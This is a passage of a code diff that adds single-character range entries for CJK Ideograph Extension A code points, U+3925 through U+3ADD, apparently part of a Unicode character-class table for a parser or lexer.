+ ["\u3925", "\u3925"], /* CJK Ideograph Extension A */
+ ["\u3926", "\u3926"], /* CJK Ideograph Extension A */
+ ["\u3927", "\u3927"], /* CJK Ideograph Extension A */
+ ["\u3928", "\u3928"], /* CJK Ideograph Extension A */
+ ["\u3929", "\u3929"], /* CJK Ideograph Extension A */
+ ["\u392A", "\u392A"], /* CJK Ideograph Extension A */
+ ["\u392B", "\u392B"], /* CJK Ideograph Extension A */
+ ["\u392C", "\u392C"], /* CJK Ideograph Extension A */
+ ["\u392D", "\u392D"], /* CJK Ideograph Extension A */
+ ["\u392E", "\u392E"], /* CJK Ideograph Extension A */
+ ["\u392F", "\u392F"], /* CJK Ideograph Extension A */
+ ["\u3930", "\u3930"], /* CJK Ideograph Extension A */
+ ["\u3931", "\u3931"], /* CJK Ideograph Extension A */
+ ["\u3932", "\u3932"], /* CJK Ideograph Extension A */
+ ["\u3933", "\u3933"], /* CJK Ideograph Extension A */
+ ["\u3934", "\u3934"], /* CJK Ideograph Extension A */
+ ["\u3935", "\u3935"], /* CJK Ideograph Extension A */
+ ["\u3936", "\u3936"], /* CJK Ideograph Extension A */
+ ["\u3937", "\u3937"], /* CJK Ideograph Extension A */
+ ["\u3938", "\u3938"], /* CJK Ideograph Extension A */
+ ["\u3939", "\u3939"], /* CJK Ideograph Extension A */
+ ["\u393A", "\u393A"], /* CJK Ideograph Extension A */
+ ["\u393B", "\u393B"], /* CJK Ideograph Extension A */
+ ["\u393C", "\u393C"], /* CJK Ideograph Extension A */
+ ["\u393D", "\u393D"], /* CJK Ideograph Extension A */
+ ["\u393E", "\u393E"], /* CJK Ideograph Extension A */
+ ["\u393F", "\u393F"], /* CJK Ideograph Extension A */
+ ["\u3940", "\u3940"], /* CJK Ideograph Extension A */
+ ["\u3941", "\u3941"], /* CJK Ideograph Extension A */
+ ["\u3942", "\u3942"], /* CJK Ideograph Extension A */
+ ["\u3943", "\u3943"], /* CJK Ideograph Extension A */
+ ["\u3944", "\u3944"], /* CJK Ideograph Extension A */
+ ["\u3945", "\u3945"], /* CJK Ideograph Extension A */
+ ["\u3946", "\u3946"], /* CJK Ideograph Extension A */
+ ["\u3947", "\u3947"], /* CJK Ideograph Extension A */
+ ["\u3948", "\u3948"], /* CJK Ideograph Extension A */
+ ["\u3949", "\u3949"], /* CJK Ideograph Extension A */
+ ["\u394A", "\u394A"], /* CJK Ideograph Extension A */
+ ["\u394B", "\u394B"], /* CJK Ideograph Extension A */
+ ["\u394C", "\u394C"], /* CJK Ideograph Extension A */
+ ["\u394D", "\u394D"], /* CJK Ideograph Extension A */
+ ["\u394E", "\u394E"], /* CJK Ideograph Extension A */
+ ["\u394F", "\u394F"], /* CJK Ideograph Extension A */
+ ["\u3950", "\u3950"], /* CJK Ideograph Extension A */
+ ["\u3951", "\u3951"], /* CJK Ideograph Extension A */
+ ["\u3952", "\u3952"], /* CJK Ideograph Extension A */
+ ["\u3953", "\u3953"], /* CJK Ideograph Extension A */
+ ["\u3954", "\u3954"], /* CJK Ideograph Extension A */
+ ["\u3955", "\u3955"], /* CJK Ideograph Extension A */
+ ["\u3956", "\u3956"], /* CJK Ideograph Extension A */
+ ["\u3957", "\u3957"], /* CJK Ideograph Extension A */
+ ["\u3958", "\u3958"], /* CJK Ideograph Extension A */
+ ["\u3959", "\u3959"], /* CJK Ideograph Extension A */
+ ["\u395A", "\u395A"], /* CJK Ideograph Extension A */
+ ["\u395B", "\u395B"], /* CJK Ideograph Extension A */
+ ["\u395C", "\u395C"], /* CJK Ideograph Extension A */
+ ["\u395D", "\u395D"], /* CJK Ideograph Extension A */
+ ["\u395E", "\u395E"], /* CJK Ideograph Extension A */
+ ["\u395F", "\u395F"], /* CJK Ideograph Extension A */
+ ["\u3960", "\u3960"], /* CJK Ideograph Extension A */
+ ["\u3961", "\u3961"], /* CJK Ideograph Extension A */
+ ["\u3962", "\u3962"], /* CJK Ideograph Extension A */
+ ["\u3963", "\u3963"], /* CJK Ideograph Extension A */
+ ["\u3964", "\u3964"], /* CJK Ideograph Extension A */
+ ["\u3965", "\u3965"], /* CJK Ideograph Extension A */
+ ["\u3966", "\u3966"], /* CJK Ideograph Extension A */
+ ["\u3967", "\u3967"], /* CJK Ideograph Extension A */
+ ["\u3968", "\u3968"], /* CJK Ideograph Extension A */
+ ["\u3969", "\u3969"], /* CJK Ideograph Extension A */
+ ["\u396A", "\u396A"], /* CJK Ideograph Extension A */
+ ["\u396B", "\u396B"], /* CJK Ideograph Extension A */
+ ["\u396C", "\u396C"], /* CJK Ideograph Extension A */
+ ["\u396D", "\u396D"], /* CJK Ideograph Extension A */
+ ["\u396E", "\u396E"], /* CJK Ideograph Extension A */
+ ["\u396F", "\u396F"], /* CJK Ideograph Extension A */
+ ["\u3970", "\u3970"], /* CJK Ideograph Extension A */
+ ["\u3971", "\u3971"], /* CJK Ideograph Extension A */
+ ["\u3972", "\u3972"], /* CJK Ideograph Extension A */
+ ["\u3973", "\u3973"], /* CJK Ideograph Extension A */
+ ["\u3974", "\u3974"], /* CJK Ideograph Extension A */
+ ["\u3975", "\u3975"], /* CJK Ideograph Extension A */
+ ["\u3976", "\u3976"], /* CJK Ideograph Extension A */
+ ["\u3977", "\u3977"], /* CJK Ideograph Extension A */
+ ["\u3978", "\u3978"], /* CJK Ideograph Extension A */
+ ["\u3979", "\u3979"], /* CJK Ideograph Extension A */
+ ["\u397A", "\u397A"], /* CJK Ideograph Extension A */
+ ["\u397B", "\u397B"], /* CJK Ideograph Extension A */
+ ["\u397C", "\u397C"], /* CJK Ideograph Extension A */
+ ["\u397D", "\u397D"], /* CJK Ideograph Extension A */
+ ["\u397E", "\u397E"], /* CJK Ideograph Extension A */
+ ["\u397F", "\u397F"], /* CJK Ideograph Extension A */
+ ["\u3980", "\u3980"], /* CJK Ideograph Extension A */
+ ["\u3981", "\u3981"], /* CJK Ideograph Extension A */
+ ["\u3982", "\u3982"], /* CJK Ideograph Extension A */
+ ["\u3983", "\u3983"], /* CJK Ideograph Extension A */
+ ["\u3984", "\u3984"], /* CJK Ideograph Extension A */
+ ["\u3985", "\u3985"], /* CJK Ideograph Extension A */
+ ["\u3986", "\u3986"], /* CJK Ideograph Extension A */
+ ["\u3987", "\u3987"], /* CJK Ideograph Extension A */
+ ["\u3988", "\u3988"], /* CJK Ideograph Extension A */
+ ["\u3989", "\u3989"], /* CJK Ideograph Extension A */
+ ["\u398A", "\u398A"], /* CJK Ideograph Extension A */
+ ["\u398B", "\u398B"], /* CJK Ideograph Extension A */
+ ["\u398C", "\u398C"], /* CJK Ideograph Extension A */
+ ["\u398D", "\u398D"], /* CJK Ideograph Extension A */
+ ["\u398E", "\u398E"], /* CJK Ideograph Extension A */
+ ["\u398F", "\u398F"], /* CJK Ideograph Extension A */
+ ["\u3990", "\u3990"], /* CJK Ideograph Extension A */
+ ["\u3991", "\u3991"], /* CJK Ideograph Extension A */
+ ["\u3992", "\u3992"], /* CJK Ideograph Extension A */
+ ["\u3993", "\u3993"], /* CJK Ideograph Extension A */
+ ["\u3994", "\u3994"], /* CJK Ideograph Extension A */
+ ["\u3995", "\u3995"], /* CJK Ideograph Extension A */
+ ["\u3996", "\u3996"], /* CJK Ideograph Extension A */
+ ["\u3997", "\u3997"], /* CJK Ideograph Extension A */
+ ["\u3998", "\u3998"], /* CJK Ideograph Extension A */
+ ["\u3999", "\u3999"], /* CJK Ideograph Extension A */
+ ["\u399A", "\u399A"], /* CJK Ideograph Extension A */
+ ["\u399B", "\u399B"], /* CJK Ideograph Extension A */
+ ["\u399C", "\u399C"], /* CJK Ideograph Extension A */
+ ["\u399D", "\u399D"], /* CJK Ideograph Extension A */
+ ["\u399E", "\u399E"], /* CJK Ideograph Extension A */
+ ["\u399F", "\u399F"], /* CJK Ideograph Extension A */
+ ["\u39A0", "\u39A0"], /* CJK Ideograph Extension A */
+ ["\u39A1", "\u39A1"], /* CJK Ideograph Extension A */
+ ["\u39A2", "\u39A2"], /* CJK Ideograph Extension A */
+ ["\u39A3", "\u39A3"], /* CJK Ideograph Extension A */
+ ["\u39A4", "\u39A4"], /* CJK Ideograph Extension A */
+ ["\u39A5", "\u39A5"], /* CJK Ideograph Extension A */
+ ["\u39A6", "\u39A6"], /* CJK Ideograph Extension A */
+ ["\u39A7", "\u39A7"], /* CJK Ideograph Extension A */
+ ["\u39A8", "\u39A8"], /* CJK Ideograph Extension A */
+ ["\u39A9", "\u39A9"], /* CJK Ideograph Extension A */
+ ["\u39AA", "\u39AA"], /* CJK Ideograph Extension A */
+ ["\u39AB", "\u39AB"], /* CJK Ideograph Extension A */
+ ["\u39AC", "\u39AC"], /* CJK Ideograph Extension A */
+ ["\u39AD", "\u39AD"], /* CJK Ideograph Extension A */
+ ["\u39AE", "\u39AE"], /* CJK Ideograph Extension A */
+ ["\u39AF", "\u39AF"], /* CJK Ideograph Extension A */
+ ["\u39B0", "\u39B0"], /* CJK Ideograph Extension A */
+ ["\u39B1", "\u39B1"], /* CJK Ideograph Extension A */
+ ["\u39B2", "\u39B2"], /* CJK Ideograph Extension A */
+ ["\u39B3", "\u39B3"], /* CJK Ideograph Extension A */
+ ["\u39B4", "\u39B4"], /* CJK Ideograph Extension A */
+ ["\u39B5", "\u39B5"], /* CJK Ideograph Extension A */
+ ["\u39B6", "\u39B6"], /* CJK Ideograph Extension A */
+ ["\u39B7", "\u39B7"], /* CJK Ideograph Extension A */
+ ["\u39B8", "\u39B8"], /* CJK Ideograph Extension A */
+ ["\u39B9", "\u39B9"], /* CJK Ideograph Extension A */
+ ["\u39BA", "\u39BA"], /* CJK Ideograph Extension A */
+ ["\u39BB", "\u39BB"], /* CJK Ideograph Extension A */
+ ["\u39BC", "\u39BC"], /* CJK Ideograph Extension A */
+ ["\u39BD", "\u39BD"], /* CJK Ideograph Extension A */
+ ["\u39BE", "\u39BE"], /* CJK Ideograph Extension A */
+ ["\u39BF", "\u39BF"], /* CJK Ideograph Extension A */
+ ["\u39C0", "\u39C0"], /* CJK Ideograph Extension A */
+ ["\u39C1", "\u39C1"], /* CJK Ideograph Extension A */
+ ["\u39C2", "\u39C2"], /* CJK Ideograph Extension A */
+ ["\u39C3", "\u39C3"], /* CJK Ideograph Extension A */
+ ["\u39C4", "\u39C4"], /* CJK Ideograph Extension A */
+ ["\u39C5", "\u39C5"], /* CJK Ideograph Extension A */
+ ["\u39C6", "\u39C6"], /* CJK Ideograph Extension A */
+ ["\u39C7", "\u39C7"], /* CJK Ideograph Extension A */
+ ["\u39C8", "\u39C8"], /* CJK Ideograph Extension A */
+ ["\u39C9", "\u39C9"], /* CJK Ideograph Extension A */
+ ["\u39CA", "\u39CA"], /* CJK Ideograph Extension A */
+ ["\u39CB", "\u39CB"], /* CJK Ideograph Extension A */
+ ["\u39CC", "\u39CC"], /* CJK Ideograph Extension A */
+ ["\u39CD", "\u39CD"], /* CJK Ideograph Extension A */
+ ["\u39CE", "\u39CE"], /* CJK Ideograph Extension A */
+ ["\u39CF", "\u39CF"], /* CJK Ideograph Extension A */
+ ["\u39D0", "\u39D0"], /* CJK Ideograph Extension A */
+ ["\u39D1", "\u39D1"], /* CJK Ideograph Extension A */
+ ["\u39D2", "\u39D2"], /* CJK Ideograph Extension A */
+ ["\u39D3", "\u39D3"], /* CJK Ideograph Extension A */
+ ["\u39D4", "\u39D4"], /* CJK Ideograph Extension A */
+ ["\u39D5", "\u39D5"], /* CJK Ideograph Extension A */
+ ["\u39D6", "\u39D6"], /* CJK Ideograph Extension A */
+ ["\u39D7", "\u39D7"], /* CJK Ideograph Extension A */
+ ["\u39D8", "\u39D8"], /* CJK Ideograph Extension A */
+ ["\u39D9", "\u39D9"], /* CJK Ideograph Extension A */
+ ["\u39DA", "\u39DA"], /* CJK Ideograph Extension A */
+ ["\u39DB", "\u39DB"], /* CJK Ideograph Extension A */
+ ["\u39DC", "\u39DC"], /* CJK Ideograph Extension A */
+ ["\u39DD", "\u39DD"], /* CJK Ideograph Extension A */
+ ["\u39DE", "\u39DE"], /* CJK Ideograph Extension A */
+ ["\u39DF", "\u39DF"], /* CJK Ideograph Extension A */
+ ["\u39E0", "\u39E0"], /* CJK Ideograph Extension A */
+ ["\u39E1", "\u39E1"], /* CJK Ideograph Extension A */
+ ["\u39E2", "\u39E2"], /* CJK Ideograph Extension A */
+ ["\u39E3", "\u39E3"], /* CJK Ideograph Extension A */
+ ["\u39E4", "\u39E4"], /* CJK Ideograph Extension A */
+ ["\u39E5", "\u39E5"], /* CJK Ideograph Extension A */
+ ["\u39E6", "\u39E6"], /* CJK Ideograph Extension A */
+ ["\u39E7", "\u39E7"], /* CJK Ideograph Extension A */
+ ["\u39E8", "\u39E8"], /* CJK Ideograph Extension A */
+ ["\u39E9", "\u39E9"], /* CJK Ideograph Extension A */
+ ["\u39EA", "\u39EA"], /* CJK Ideograph Extension A */
+ ["\u39EB", "\u39EB"], /* CJK Ideograph Extension A */
+ ["\u39EC", "\u39EC"], /* CJK Ideograph Extension A */
+ ["\u39ED", "\u39ED"], /* CJK Ideograph Extension A */
+ ["\u39EE", "\u39EE"], /* CJK Ideograph Extension A */
+ ["\u39EF", "\u39EF"], /* CJK Ideograph Extension A */
+ ["\u39F0", "\u39F0"], /* CJK Ideograph Extension A */
+ ["\u39F1", "\u39F1"], /* CJK Ideograph Extension A */
+ ["\u39F2", "\u39F2"], /* CJK Ideograph Extension A */
+ ["\u39F3", "\u39F3"], /* CJK Ideograph Extension A */
+ ["\u39F4", "\u39F4"], /* CJK Ideograph Extension A */
+ ["\u39F5", "\u39F5"], /* CJK Ideograph Extension A */
+ ["\u39F6", "\u39F6"], /* CJK Ideograph Extension A */
+ ["\u39F7", "\u39F7"], /* CJK Ideograph Extension A */
+ ["\u39F8", "\u39F8"], /* CJK Ideograph Extension A */
+ ["\u39F9", "\u39F9"], /* CJK Ideograph Extension A */
+ ["\u39FA", "\u39FA"], /* CJK Ideograph Extension A */
+ ["\u39FB", "\u39FB"], /* CJK Ideograph Extension A */
+ ["\u39FC", "\u39FC"], /* CJK Ideograph Extension A */
+ ["\u39FD", "\u39FD"], /* CJK Ideograph Extension A */
+ ["\u39FE", "\u39FE"], /* CJK Ideograph Extension A */
+ ["\u39FF", "\u39FF"], /* CJK Ideograph Extension A */
+ ["\u3A00", "\u3A00"], /* CJK Ideograph Extension A */
+ ["\u3A01", "\u3A01"], /* CJK Ideograph Extension A */
+ ["\u3A02", "\u3A02"], /* CJK Ideograph Extension A */
+ ["\u3A03", "\u3A03"], /* CJK Ideograph Extension A */
+ ["\u3A04", "\u3A04"], /* CJK Ideograph Extension A */
+ ["\u3A05", "\u3A05"], /* CJK Ideograph Extension A */
+ ["\u3A06", "\u3A06"], /* CJK Ideograph Extension A */
+ ["\u3A07", "\u3A07"], /* CJK Ideograph Extension A */
+ ["\u3A08", "\u3A08"], /* CJK Ideograph Extension A */
+ ["\u3A09", "\u3A09"], /* CJK Ideograph Extension A */
+ ["\u3A0A", "\u3A0A"], /* CJK Ideograph Extension A */
+ ["\u3A0B", "\u3A0B"], /* CJK Ideograph Extension A */
+ ["\u3A0C", "\u3A0C"], /* CJK Ideograph Extension A */
+ ["\u3A0D", "\u3A0D"], /* CJK Ideograph Extension A */
+ ["\u3A0E", "\u3A0E"], /* CJK Ideograph Extension A */
+ ["\u3A0F", "\u3A0F"], /* CJK Ideograph Extension A */
+ ["\u3A10", "\u3A10"], /* CJK Ideograph Extension A */
+ ["\u3A11", "\u3A11"], /* CJK Ideograph Extension A */
+ ["\u3A12", "\u3A12"], /* CJK Ideograph Extension A */
+ ["\u3A13", "\u3A13"], /* CJK Ideograph Extension A */
+ ["\u3A14", "\u3A14"], /* CJK Ideograph Extension A */
+ ["\u3A15", "\u3A15"], /* CJK Ideograph Extension A */
+ ["\u3A16", "\u3A16"], /* CJK Ideograph Extension A */
+ ["\u3A17", "\u3A17"], /* CJK Ideograph Extension A */
+ ["\u3A18", "\u3A18"], /* CJK Ideograph Extension A */
+ ["\u3A19", "\u3A19"], /* CJK Ideograph Extension A */
+ ["\u3A1A", "\u3A1A"], /* CJK Ideograph Extension A */
+ ["\u3A1B", "\u3A1B"], /* CJK Ideograph Extension A */
+ ["\u3A1C", "\u3A1C"], /* CJK Ideograph Extension A */
+ ["\u3A1D", "\u3A1D"], /* CJK Ideograph Extension A */
+ ["\u3A1E", "\u3A1E"], /* CJK Ideograph Extension A */
+ ["\u3A1F", "\u3A1F"], /* CJK Ideograph Extension A */
+ ["\u3A20", "\u3A20"], /* CJK Ideograph Extension A */
+ ["\u3A21", "\u3A21"], /* CJK Ideograph Extension A */
+ ["\u3A22", "\u3A22"], /* CJK Ideograph Extension A */
+ ["\u3A23", "\u3A23"], /* CJK Ideograph Extension A */
+ ["\u3A24", "\u3A24"], /* CJK Ideograph Extension A */
+ ["\u3A25", "\u3A25"], /* CJK Ideograph Extension A */
+ ["\u3A26", "\u3A26"], /* CJK Ideograph Extension A */
+ ["\u3A27", "\u3A27"], /* CJK Ideograph Extension A */
+ ["\u3A28", "\u3A28"], /* CJK Ideograph Extension A */
+ ["\u3A29", "\u3A29"], /* CJK Ideograph Extension A */
+ ["\u3A2A", "\u3A2A"], /* CJK Ideograph Extension A */
+ ["\u3A2B", "\u3A2B"], /* CJK Ideograph Extension A */
+ ["\u3A2C", "\u3A2C"], /* CJK Ideograph Extension A */
+ ["\u3A2D", "\u3A2D"], /* CJK Ideograph Extension A */
+ ["\u3A2E", "\u3A2E"], /* CJK Ideograph Extension A */
+ ["\u3A2F", "\u3A2F"], /* CJK Ideograph Extension A */
+ ["\u3A30", "\u3A30"], /* CJK Ideograph Extension A */
+ ["\u3A31", "\u3A31"], /* CJK Ideograph Extension A */
+ ["\u3A32", "\u3A32"], /* CJK Ideograph Extension A */
+ ["\u3A33", "\u3A33"], /* CJK Ideograph Extension A */
+ ["\u3A34", "\u3A34"], /* CJK Ideograph Extension A */
+ ["\u3A35", "\u3A35"], /* CJK Ideograph Extension A */
+ ["\u3A36", "\u3A36"], /* CJK Ideograph Extension A */
+ ["\u3A37", "\u3A37"], /* CJK Ideograph Extension A */
+ ["\u3A38", "\u3A38"], /* CJK Ideograph Extension A */
+ ["\u3A39", "\u3A39"], /* CJK Ideograph Extension A */
+ ["\u3A3A", "\u3A3A"], /* CJK Ideograph Extension A */
+ ["\u3A3B", "\u3A3B"], /* CJK Ideograph Extension A */
+ ["\u3A3C", "\u3A3C"], /* CJK Ideograph Extension A */
+ ["\u3A3D", "\u3A3D"], /* CJK Ideograph Extension A */
+ ["\u3A3E", "\u3A3E"], /* CJK Ideograph Extension A */
+ ["\u3A3F", "\u3A3F"], /* CJK Ideograph Extension A */
+ ["\u3A40", "\u3A40"], /* CJK Ideograph Extension A */
+ ["\u3A41", "\u3A41"], /* CJK Ideograph Extension A */
+ ["\u3A42", "\u3A42"], /* CJK Ideograph Extension A */
+ ["\u3A43", "\u3A43"], /* CJK Ideograph Extension A */
+ ["\u3A44", "\u3A44"], /* CJK Ideograph Extension A */
+ ["\u3A45", "\u3A45"], /* CJK Ideograph Extension A */
+ ["\u3A46", "\u3A46"], /* CJK Ideograph Extension A */
+ ["\u3A47", "\u3A47"], /* CJK Ideograph Extension A */
+ ["\u3A48", "\u3A48"], /* CJK Ideograph Extension A */
+ ["\u3A49", "\u3A49"], /* CJK Ideograph Extension A */
+ ["\u3A4A", "\u3A4A"], /* CJK Ideograph Extension A */
+ ["\u3A4B", "\u3A4B"], /* CJK Ideograph Extension A */
+ ["\u3A4C", "\u3A4C"], /* CJK Ideograph Extension A */
+ ["\u3A4D", "\u3A4D"], /* CJK Ideograph Extension A */
+ ["\u3A4E", "\u3A4E"], /* CJK Ideograph Extension A */
+ ["\u3A4F", "\u3A4F"], /* CJK Ideograph Extension A */
+ ["\u3A50", "\u3A50"], /* CJK Ideograph Extension A */
+ ["\u3A51", "\u3A51"], /* CJK Ideograph Extension A */
+ ["\u3A52", "\u3A52"], /* CJK Ideograph Extension A */
+ ["\u3A53", "\u3A53"], /* CJK Ideograph Extension A */
+ ["\u3A54", "\u3A54"], /* CJK Ideograph Extension A */
+ ["\u3A55", "\u3A55"], /* CJK Ideograph Extension A */
+ ["\u3A56", "\u3A56"], /* CJK Ideograph Extension A */
+ ["\u3A57", "\u3A57"], /* CJK Ideograph Extension A */
+ ["\u3A58", "\u3A58"], /* CJK Ideograph Extension A */
+ ["\u3A59", "\u3A59"], /* CJK Ideograph Extension A */
+ ["\u3A5A", "\u3A5A"], /* CJK Ideograph Extension A */
+ ["\u3A5B", "\u3A5B"], /* CJK Ideograph Extension A */
+ ["\u3A5C", "\u3A5C"], /* CJK Ideograph Extension A */
+ ["\u3A5D", "\u3A5D"], /* CJK Ideograph Extension A */
+ ["\u3A5E", "\u3A5E"], /* CJK Ideograph Extension A */
+ ["\u3A5F", "\u3A5F"], /* CJK Ideograph Extension A */
+ ["\u3A60", "\u3A60"], /* CJK Ideograph Extension A */
+ ["\u3A61", "\u3A61"], /* CJK Ideograph Extension A */
+ ["\u3A62", "\u3A62"], /* CJK Ideograph Extension A */
+ ["\u3A63", "\u3A63"], /* CJK Ideograph Extension A */
+ ["\u3A64", "\u3A64"], /* CJK Ideograph Extension A */
+ ["\u3A65", "\u3A65"], /* CJK Ideograph Extension A */
+ ["\u3A66", "\u3A66"], /* CJK Ideograph Extension A */
+ ["\u3A67", "\u3A67"], /* CJK Ideograph Extension A */
+ ["\u3A68", "\u3A68"], /* CJK Ideograph Extension A */
+ ["\u3A69", "\u3A69"], /* CJK Ideograph Extension A */
+ ["\u3A6A", "\u3A6A"], /* CJK Ideograph Extension A */
+ ["\u3A6B", "\u3A6B"], /* CJK Ideograph Extension A */
+ ["\u3A6C", "\u3A6C"], /* CJK Ideograph Extension A */
+ ["\u3A6D", "\u3A6D"], /* CJK Ideograph Extension A */
+ ["\u3A6E", "\u3A6E"], /* CJK Ideograph Extension A */
+ ["\u3A6F", "\u3A6F"], /* CJK Ideograph Extension A */
+ ["\u3A70", "\u3A70"], /* CJK Ideograph Extension A */
+ ["\u3A71", "\u3A71"], /* CJK Ideograph Extension A */
+ ["\u3A72", "\u3A72"], /* CJK Ideograph Extension A */
+ ["\u3A73", "\u3A73"], /* CJK Ideograph Extension A */
+ ["\u3A74", "\u3A74"], /* CJK Ideograph Extension A */
+ ["\u3A75", "\u3A75"], /* CJK Ideograph Extension A */
+ ["\u3A76", "\u3A76"], /* CJK Ideograph Extension A */
+ ["\u3A77", "\u3A77"], /* CJK Ideograph Extension A */
+ ["\u3A78", "\u3A78"], /* CJK Ideograph Extension A */
+ ["\u3A79", "\u3A79"], /* CJK Ideograph Extension A */
+ ["\u3A7A", "\u3A7A"], /* CJK Ideograph Extension A */
+ ["\u3A7B", "\u3A7B"], /* CJK Ideograph Extension A */
+ ["\u3A7C", "\u3A7C"], /* CJK Ideograph Extension A */
+ ["\u3A7D", "\u3A7D"], /* CJK Ideograph Extension A */
+ ["\u3A7E", "\u3A7E"], /* CJK Ideograph Extension A */
+ ["\u3A7F", "\u3A7F"], /* CJK Ideograph Extension A */
+ ["\u3A80", "\u3A80"], /* CJK Ideograph Extension A */
+ ["\u3A81", "\u3A81"], /* CJK Ideograph Extension A */
+ ["\u3A82", "\u3A82"], /* CJK Ideograph Extension A */
+ ["\u3A83", "\u3A83"], /* CJK Ideograph Extension A */
+ ["\u3A84", "\u3A84"], /* CJK Ideograph Extension A */
+ ["\u3A85", "\u3A85"], /* CJK Ideograph Extension A */
+ ["\u3A86", "\u3A86"], /* CJK Ideograph Extension A */
+ ["\u3A87", "\u3A87"], /* CJK Ideograph Extension A */
+ ["\u3A88", "\u3A88"], /* CJK Ideograph Extension A */
+ ["\u3A89", "\u3A89"], /* CJK Ideograph Extension A */
+ ["\u3A8A", "\u3A8A"], /* CJK Ideograph Extension A */
+ ["\u3A8B", "\u3A8B"], /* CJK Ideograph Extension A */
+ ["\u3A8C", "\u3A8C"], /* CJK Ideograph Extension A */
+ ["\u3A8D", "\u3A8D"], /* CJK Ideograph Extension A */
+ ["\u3A8E", "\u3A8E"], /* CJK Ideograph Extension A */
+ ["\u3A8F", "\u3A8F"], /* CJK Ideograph Extension A */
+ ["\u3A90", "\u3A90"], /* CJK Ideograph Extension A */
+ ["\u3A91", "\u3A91"], /* CJK Ideograph Extension A */
+ ["\u3A92", "\u3A92"], /* CJK Ideograph Extension A */
+ ["\u3A93", "\u3A93"], /* CJK Ideograph Extension A */
+ ["\u3A94", "\u3A94"], /* CJK Ideograph Extension A */
+ ["\u3A95", "\u3A95"], /* CJK Ideograph Extension A */
+ ["\u3A96", "\u3A96"], /* CJK Ideograph Extension A */
+ ["\u3A97", "\u3A97"], /* CJK Ideograph Extension A */
+ ["\u3A98", "\u3A98"], /* CJK Ideograph Extension A */
+ ["\u3A99", "\u3A99"], /* CJK Ideograph Extension A */
+ ["\u3A9A", "\u3A9A"], /* CJK Ideograph Extension A */
+ ["\u3A9B", "\u3A9B"], /* CJK Ideograph Extension A */
+ ["\u3A9C", "\u3A9C"], /* CJK Ideograph Extension A */
+ ["\u3A9D", "\u3A9D"], /* CJK Ideograph Extension A */
+ ["\u3A9E", "\u3A9E"], /* CJK Ideograph Extension A */
+ ["\u3A9F", "\u3A9F"], /* CJK Ideograph Extension A */
+ ["\u3AA0", "\u3AA0"], /* CJK Ideograph Extension A */
+ ["\u3AA1", "\u3AA1"], /* CJK Ideograph Extension A */
+ ["\u3AA2", "\u3AA2"], /* CJK Ideograph Extension A */
+ ["\u3AA3", "\u3AA3"], /* CJK Ideograph Extension A */
+ ["\u3AA4", "\u3AA4"], /* CJK Ideograph Extension A */
+ ["\u3AA5", "\u3AA5"], /* CJK Ideograph Extension A */
+ ["\u3AA6", "\u3AA6"], /* CJK Ideograph Extension A */
+ ["\u3AA7", "\u3AA7"], /* CJK Ideograph Extension A */
+ ["\u3AA8", "\u3AA8"], /* CJK Ideograph Extension A */
+ ["\u3AA9", "\u3AA9"], /* CJK Ideograph Extension A */
+ ["\u3AAA", "\u3AAA"], /* CJK Ideograph Extension A */
+ ["\u3AAB", "\u3AAB"], /* CJK Ideograph Extension A */
+ ["\u3AAC", "\u3AAC"], /* CJK Ideograph Extension A */
+ ["\u3AAD", "\u3AAD"], /* CJK Ideograph Extension A */
+ ["\u3AAE", "\u3AAE"], /* CJK Ideograph Extension A */
+ ["\u3AAF", "\u3AAF"], /* CJK Ideograph Extension A */
+ ["\u3AB0", "\u3AB0"], /* CJK Ideograph Extension A */
+ ["\u3AB1", "\u3AB1"], /* CJK Ideograph Extension A */
+ ["\u3AB2", "\u3AB2"], /* CJK Ideograph Extension A */
+ ["\u3AB3", "\u3AB3"], /* CJK Ideograph Extension A */
+ ["\u3AB4", "\u3AB4"], /* CJK Ideograph Extension A */
+ ["\u3AB5", "\u3AB5"], /* CJK Ideograph Extension A */
+ ["\u3AB6", "\u3AB6"], /* CJK Ideograph Extension A */
+ ["\u3AB7", "\u3AB7"], /* CJK Ideograph Extension A */
+ ["\u3AB8", "\u3AB8"], /* CJK Ideograph Extension A */
+ ["\u3AB9", "\u3AB9"], /* CJK Ideograph Extension A */
+ ["\u3ABA", "\u3ABA"], /* CJK Ideograph Extension A */
+ ["\u3ABB", "\u3ABB"], /* CJK Ideograph Extension A */
+ ["\u3ABC", "\u3ABC"], /* CJK Ideograph Extension A */
+ ["\u3ABD", "\u3ABD"], /* CJK Ideograph Extension A */
+ ["\u3ABE", "\u3ABE"], /* CJK Ideograph Extension A */
+ ["\u3ABF", "\u3ABF"], /* CJK Ideograph Extension A */
+ ["\u3AC0", "\u3AC0"], /* CJK Ideograph Extension A */
+ ["\u3AC1", "\u3AC1"], /* CJK Ideograph Extension A */
+ ["\u3AC2", "\u3AC2"], /* CJK Ideograph Extension A */
+ ["\u3AC3", "\u3AC3"], /* CJK Ideograph Extension A */
+ ["\u3AC4", "\u3AC4"], /* CJK Ideograph Extension A */
+ ["\u3AC5", "\u3AC5"], /* CJK Ideograph Extension A */
+ ["\u3AC6", "\u3AC6"], /* CJK Ideograph Extension A */
+ ["\u3AC7", "\u3AC7"], /* CJK Ideograph Extension A */
+ ["\u3AC8", "\u3AC8"], /* CJK Ideograph Extension A */
+ ["\u3AC9", "\u3AC9"], /* CJK Ideograph Extension A */
+ ["\u3ACA", "\u3ACA"], /* CJK Ideograph Extension A */
+ ["\u3ACB", "\u3ACB"], /* CJK Ideograph Extension A */
+ ["\u3ACC", "\u3ACC"], /* CJK Ideograph Extension A */
+ ["\u3ACD", "\u3ACD"], /* CJK Ideograph Extension A */
+ ["\u3ACE", "\u3ACE"], /* CJK Ideograph Extension A */
+ ["\u3ACF", "\u3ACF"], /* CJK Ideograph Extension A */
+ ["\u3AD0", "\u3AD0"], /* CJK Ideograph Extension A */
+ ["\u3AD1", "\u3AD1"], /* CJK Ideograph Extension A */
+ ["\u3AD2", "\u3AD2"], /* CJK Ideograph Extension A */
+ ["\u3AD3", "\u3AD3"], /* CJK Ideograph Extension A */
+ ["\u3AD4", "\u3AD4"], /* CJK Ideograph Extension A */
+ ["\u3AD5", "\u3AD5"], /* CJK Ideograph Extension A */
+ ["\u3AD6", "\u3AD6"], /* CJK Ideograph Extension A */
+ ["\u3AD7", "\u3AD7"], /* CJK Ideograph Extension A */
+ ["\u3AD8", "\u3AD8"], /* CJK Ideograph Extension A */
+ ["\u3AD9", "\u3AD9"], /* CJK Ideograph Extension A */
+ ["\u3ADA", "\u3ADA"], /* CJK Ideograph Extension A */
+ ["\u3ADB", "\u3ADB"], /* CJK Ideograph Extension A */
+ ["\u3ADC", "\u3ADC"], /* CJK Ideograph Extension A */
+ ["\u3ADD", "\u3ADD"], /* CJK Ideograph Extension A */
